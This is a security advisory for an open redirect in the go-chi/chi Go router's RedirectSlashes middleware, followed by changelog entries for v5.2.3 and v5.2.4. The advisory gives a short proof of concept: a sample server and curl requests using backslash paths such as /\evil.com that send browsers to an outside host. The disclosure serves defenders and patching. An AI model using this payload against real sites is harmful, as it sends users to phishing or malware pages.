Details

Summary

The RedirectSlashes function in middleware/strip.go does not perform correct input validation and can lead to an open redirect vulnerability.

Details

The RedirectSlashes function performs a Trim to all forward slash (/) characters, while prepending a single one at the begining of the path (Line 52).

However, it does not trim backslashes (\).

File: middleware/strip.go
41: func RedirectSlashes(next http.Handler) http.Handler {
...
51: 			// Trim all leading and trailing slashes (e.g., "//evil.com", "/some/path//")
52: 			path = "/" + strings.Trim(path, "/")
...
62: }

Also, from version 5.2.2 onwards the RedirectSlashes function does not take into consideration the Host Header in the redirect response returned. This was done in order to combat another [vulnerability](https://redirect.github.com/go-chi/chi/security/advisories/GHSA-vrw8-fxc6-2r93).

The above make it possible for a response in the following form:

HTTP/1.1 301 Moved Permanently
Location: /\evil.com

The /\evil.com will be transformed by most browsers (Chrome, Firefox, etc. not Safari) into //evil.com which is a protocol relative URL and will result in a redirect to evil.com, essentially making it an open redirect vulnerability.

PoC

A minimal working example can be seen below.

package main

import (
	"fmt"
	"net/http"

	"github.com/go-chi/chi/v5"
	"github.com/go-chi/chi/v5/middleware"
)

func main() {
	r := chi.NewRouter()

	r.Use(middleware.RedirectSlashes)

	r.Get("/*", func(w http.ResponseWriter, r *http.Request) {
		w.WriteHeader(http.StatusOK)
	})

	fmt.Println("Server starting on port 8081...")
	if err := http.ListenAndServe(":8081", r); err != nil {
		fmt.Printf("Error starting server: %v\n", err)
	}
}

And when we request the path /\evil.com (needs a second backslash or URL encoding in the terminal), the HTTP Redirect Location is just /\evil.com without any domain/Host information.

$ curl -I  localhost:8081/\\evil.com/
HTTP/1.1 301 Moved Permanently
Content-Type: text/html; charset=utf-8
Location: /\evil.com

$ curl -I  localhost:8081/%5Cevil.com/
HTTP/1.1 301 Moved Permanently
Content-Type: text/html; charset=utf-8
Location: /\evil.com

This opened in a browser (Chrome, Firefox) will result in a transformation to //evil.com which in turn will result in a redirect to evil.com.

Impact

This essentially consists of an open redirect vulnerability, provided that victim users use the most popular browsers (Chrome, Firefox, etc. It does not work in e.g. Safari).

The attacker can construct a malicious URL on a domain of a legitimate website and send it to the victim user. The victim users thinking that they will click on a legitimate website's URL, they will unknowingly be reidrected to an attacker controlled website.

This can lead to credential theft if the victim gets redirected to a phishing website, to malware that is hosted on the attacker controlled website etc. Also, it has a greate reputation / business impact for the affected legitimate website.

In order to exploit this vulnerability the attacker does not need to be authenticated or have ay other priviledge / knowledge regarding the affected application.

CVSS Score: 4.7 (Medium)

Severity

• CVSS Score: 4.7 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N

References

• https://github.com/go-chi/chi/security/advisories/GHSA-mqqf-5wvp-8fh8
• https://github.com/go-chi/chi/issues/1037
• https://github.com/go-chi/chi/commit/6eb35881c0e438ffb663ddbad3a61babaa5e5d8a
• https://nvd.nist.gov/vuln/detail/CVE-2025-69725
• http://go-chichi.com
• https://github.com/advisories/GHSA-mqqf-5wvp-8fh8

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

v5.2.4

Compare Source

v5.2.3

Compare Source

What's Changed

• Add pathvalue example to README and implement PathValue handler. by @​catatsuy in #​985
• Allow multiple whitespace between method & pattern by @​JRaspass in #​1013
• Avoid potential nil dereference by @​ProjectMutilation in #​1008
• feat(mux): support http.Request.Pattern in Go 1.23 by @​Gusted in #​986
• fix/608 - Fix flaky Throttle middleware test by synchronizing token usage by @​OtavioBernardes in #​1016
• Optimize throttle middleware by avoiding unnecessary timer creation by @​vasayxtx in #​1011
• Simplify wildcard replacement in route patterns by @​srpvpn in #​1012
• Replace methodTypString func with reverseMethodMap by @​JRaspass in #​1018

New Contributors

• @​ProjectMutilation made their first contribution in #​1008
• @​Gusted made their first contribution in #​986
• @​OtavioBernardes made their first contribution in #​1016
• @​srpvpn made their first contribution in #​1012

Full Changelog: go-chi/chi@v5.2.2...v5.2.3